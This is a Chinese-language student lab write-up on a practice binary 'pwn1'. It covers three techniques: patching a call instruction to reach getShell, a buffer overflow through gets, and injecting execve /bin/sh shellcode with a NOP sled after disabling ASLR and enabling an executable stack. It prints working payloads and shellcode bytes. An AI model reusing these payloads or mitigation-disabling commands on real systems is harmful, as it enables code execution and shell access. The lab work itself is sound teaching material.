本次實踐的對象是一個名爲pwn1的linux可執行文件。linux
該程序正常執行流程是:main調用foo函數,foo函數會簡單回顯任何用戶輸入的字符串。shell
該程序同時包含另外一個代碼片斷,getShell,會返回一個可用Shell。正常狀況下這個代碼是不會被運行的。實踐目標即爲想辦法運行這個代碼片斷。vim
本次實驗主要內容爲經過第一種方法達到實踐目標。windows
2.1 在pwn1文件所在目錄打開終端,備份文件並更改文件名爲學號,命令以下:sass
cp pwn1 20154308
2.2 利用反彙編命令查看該文件的機器指令,命令以下:安全
objdump -d 20154308
從圖中能夠看到主函數中調用位於8048491處的foo函數,對應的機器指令爲e8 d7 ff ff ff,經過猜想可知e8爲跳轉之意。服務器
原本正常流程,此時此刻EIP的值應該是下條指令的地址,即80484ba,但如一解釋e8這條指令,CPU就會轉而執行「EIP+d7ffffff」這個位置的指令。「d7ffffff」是補碼,表示-41,41=0x29,80484ba+d7ffffff=80484ba-0x29正好是8048491這個值。在這裏進行計算時要注意在計算機內是採用小端模式即低字節優先。dom
main函數調用foo,對應機器指令爲「e8d7ffffff」,那咱們想讓它調用getShell,只要修改「d7ffffff」爲,"getShell-80484ba"對應的補碼就行。函數
47d-4ba獲得補碼,是c3ffffff。下面咱們就修改可執行文件,將其中的call指令的目標地址由d7ffffff變爲c3ffffff。工具
2.3 進入該文件的vi編輯模式,命令以下:
vim 20154308
2.4 按一下esc鍵,敲入以下命令,查看其十六進制格式
:%!xxd
2.5 鍵入以下命令,/表示查找
2.6 按一下esc鍵,經過方向鍵將光標移到修改處,按r表示修改,將d7修改成c3
2.7 鍵入以下命令,轉回原格式,並存盤退出
:%!xxd -r :wq
2.8 再利用反彙編命令查看該文件
objdump -d 20154308
能夠看到,原先的機器指令e8d7ffffff已經改成e8c3ffffff,調用的也是咱們所但願的getshell函數。
如此一來,本次實驗的第一部分就結束了。
3.1 反彙編,瞭解程序基本功能
反彙編首先經過反彙編分析該文件,發現該可執行文件正常狀況下是調用foo函數,而foo函數中使用了gets函數,該函數不會檢查用戶輸入的長度,因此咱們能夠經過輸入過長的參數,使超過部分溢出,覆蓋返回地址,形成BOF攻擊,改變程序執行流。
3.2 確認輸入字符串哪幾個字符回覆該到返回地址
調試並運行該文件gdb 20154308
r
,接下來即要求輸入參數,咱們嘗試性地輸入1111111122222222333333334444444455555555
執行結果以下圖所示,報錯。
如今咱們經過命令info r
查看各個寄存器內的值能夠發現此時eip內的值爲0x35353535
,即ASCII 5,也就是說咱們輸入的最後八個5中的某四個覆蓋了返回地址。
爲了進一步肯定是哪四個,咱們從新運行該文件r
,並輸入1111111122222222333333334444444412345678
,此時能夠發現eip的值爲0x34333231
,即ASCII 1234,也就是說上述字符串中的1234最終覆蓋到了堆棧上的返回地址,進而CPU會嘗試運行這個位置的代碼。咱們只要把這四個字符替換爲getshell的內存地址,輸給20154308,該文件就會運行getshell。
3.3 確認用什麼值來覆蓋返回地址
在以前咱們知道getshell的內存地址是0804847d
,加上以前所學在計算機內採用小端優先存儲,咱們能夠肯定須要輸入的字符串爲11111111222222223333333344444444\x7d\x84\x04\x08
3.4 構造輸入字符串
因爲咱們無法經過鍵盤輸入指定的16進制,咱們經過如下命令來完成此操做
perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input
並經過xxd
查看其十六進制格式
而後將input的輸入,經過管道符|
,做爲20154308的輸入
(cat input; cat) | ./20154308
此時main函數成功地調用了getshell函數,此時咱們就能夠輸入shell指令了,如圖
4.1 準備一段shellcode
4.2準備工做
修改設置
apt-get instal prelink
下載安裝ececstack,不然接下來的命令沒法執行
execstack -s 20154308
設置堆棧可執行
execstack -q 20154308
查詢堆棧的文件是否可執行
more /proc/sys/kernel/randomize_va_space
echo "0" > /proc/sys/kernel/randomize_va_space
關閉地址隨機化
more /proc/sys/kernel/randomize_va_space
4.3 構造要注入的payload
經過構造 anything+retaddr+nops+shellcode 來構造攻擊buf。nop一爲是了填充,二是做爲「着陸區/滑行區」。咱們猜的返回地址只要落在任何一個nop上,天然會滑到咱們的shellcode。
咱們使用以下shellcode
perl -e 'print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00"' > input_shellcode
並注入這段攻擊buf (cat input_shellcode;cat) | ./pwn20154308
最後的\x4\x3\x2\x1
會覆蓋到堆棧上返回地址的位置,下面咱們要肯定返回地址的位置填什麼。
打開另外一個終端,用gdb
調試pwn20154308
這個進程
ps -ef | grep pwn20154308
找到進程號gdb
啓動gdb調試這個進程disassemble foo
經過設置斷點,來查看注入buf的內存地址break *0x080484ae
c
info r esp
查看寄存器地址
x/16x 0xffffd3ac
此時看到01020304
,繼續縮小範圍,直到找到90909090
,即咱們的shellcode開始的地址,即0xffffd38c
找到相應地址後,咱們使用c
quit
退出調試
01020304
的地址是0xffffd3ac
,就是返回地址的位置。shellcode就挨着,因此返回地址是 0xffffd3b0
,90909090
的地址是0xffffd38c
,因此shellcode的地址是0xffffd390
(吸收講義上的教訓)咱們將以前的shellcode改成
perl -e 'print "A" x 32;print "\xb0\xd3\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x90\xd3\xff\xff\x00"' > input_shellcode
前面的32個A用來填滿buf,\xb0\xd3\xff\xff
爲返回地址,剩下部分爲shellcode
並注入這段buf (cat input_shellcode;cat) | ./pwn20154308
執行結果以下
攻擊成功!
彙編指令 | 機器碼 |
---|---|
NOP | 90 |
JNE | 75 |
JE | 74 |
JMP | eb |
CMP | 39 |